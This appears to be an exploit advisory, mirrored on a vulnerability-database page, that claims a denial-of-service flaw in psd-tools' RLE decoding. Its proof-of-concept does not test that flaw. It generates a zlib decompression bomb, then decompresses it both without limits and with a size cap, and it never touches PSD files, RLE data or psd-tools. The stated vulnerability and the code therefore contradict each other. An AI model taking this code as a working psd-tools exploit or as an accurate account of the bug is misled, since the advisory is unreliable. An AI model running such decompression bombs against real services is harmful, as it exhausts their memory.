=============================================================================================================================================
| # Title : psd-tools Unhandled RLE Decoding Exception Leads to Denial of Service |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pypi.org/project/psd-tools/ |
=============================================================================================================================================
[+] Summary : When a specially crafted PSD file contains malformed RLE-compressed image data (for example, a literal run extending beyond the expected row size), the internal decode_rle() function raises a ValueError.
Due to missing exception handling, this error propagates to higher-level functions such as:
psd.composite()
Export operations
As a result, the application crashes, leading to a Denial of Service (DoS) condition.
Although decompress() already included a fallback mechanism designed to replace failed channels with black pixels when the result is None, this mitigation never triggered because the ValueError from decode_rle() was not caught.
Version 1.12.2 resolves the issue by wrapping the decode_rle() call in a try/except block, allowing the existing fallback logic to execute correctly and preventing application crashes.
[+] POC :
import zlib
import os
import sys
MALICIOUS_FILE = "exploit_demo.bin"
SAFE_LIMIT = 100 * 1024 * 1024
EXPANSION_SIZE = 50 * 1024 * 1024
def create_exploit():
print(f"[+] Generating malicious payload (Target: {EXPANSION_SIZE / (1024**2):.1f} MB)...")
raw_data = b'\x00' * EXPANSION_SIZE
compressed_data = zlib.compress(raw_data)
with open(MALICIOUS_FILE, "wb") as f:
f.write(compressed_data)
file_size = os.path.getsize(MALICIOUS_FILE)
print(f"[!] Done. Exploit file size: {file_size / 1024:.2f} KB")
print(f"[!] Compression Ratio: {EXPANSION_SIZE / file_size:.1f}:1")
def vulnerable_decompress():
print("\n[!] Attempting to decompress using VULNERABLE code...")
try:
with open(MALICIOUS_FILE, "rb") as f:
data = f.read()
result = zlib.decompress(data)
print(f"[SUCCESS] Decompressed {len(result)} bytes. System survived (this time).")
except MemoryError:
print("[CRITICAL] Out of Memory! The process crashed.")
except Exception as e:
print(f"[ERROR] {e}")
def secure_decompress(max_allowed_size):
print(f"\n[+] Attempting to decompress using SECURE code (Limit: {max_allowed_size / (1024**2):.1f} MB)...")
try:
with open(MALICIOUS_FILE, "rb") as f:
data = f.read()
dco = zlib.decompressobj()
result = dco.decompress(data, max_length=max_allowed_size)
if dco.unconsumed_tail:
raise ValueError("ZIP Bomb Detected: Data exceeds expected dimensions!")
print(f"[SUCCESS] Data is within limits ({len(result)} bytes).")
except ValueError as e:
print(f"[SAFE] Mitigation Triggered: {e}")
except Exception as e:
print(f"[ERROR] {e}")
if __name__ == "__main__":
create_exploit()
vulnerable_decompress()
secure_decompress(max_allowed_size=10 * 1024 * 1024)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation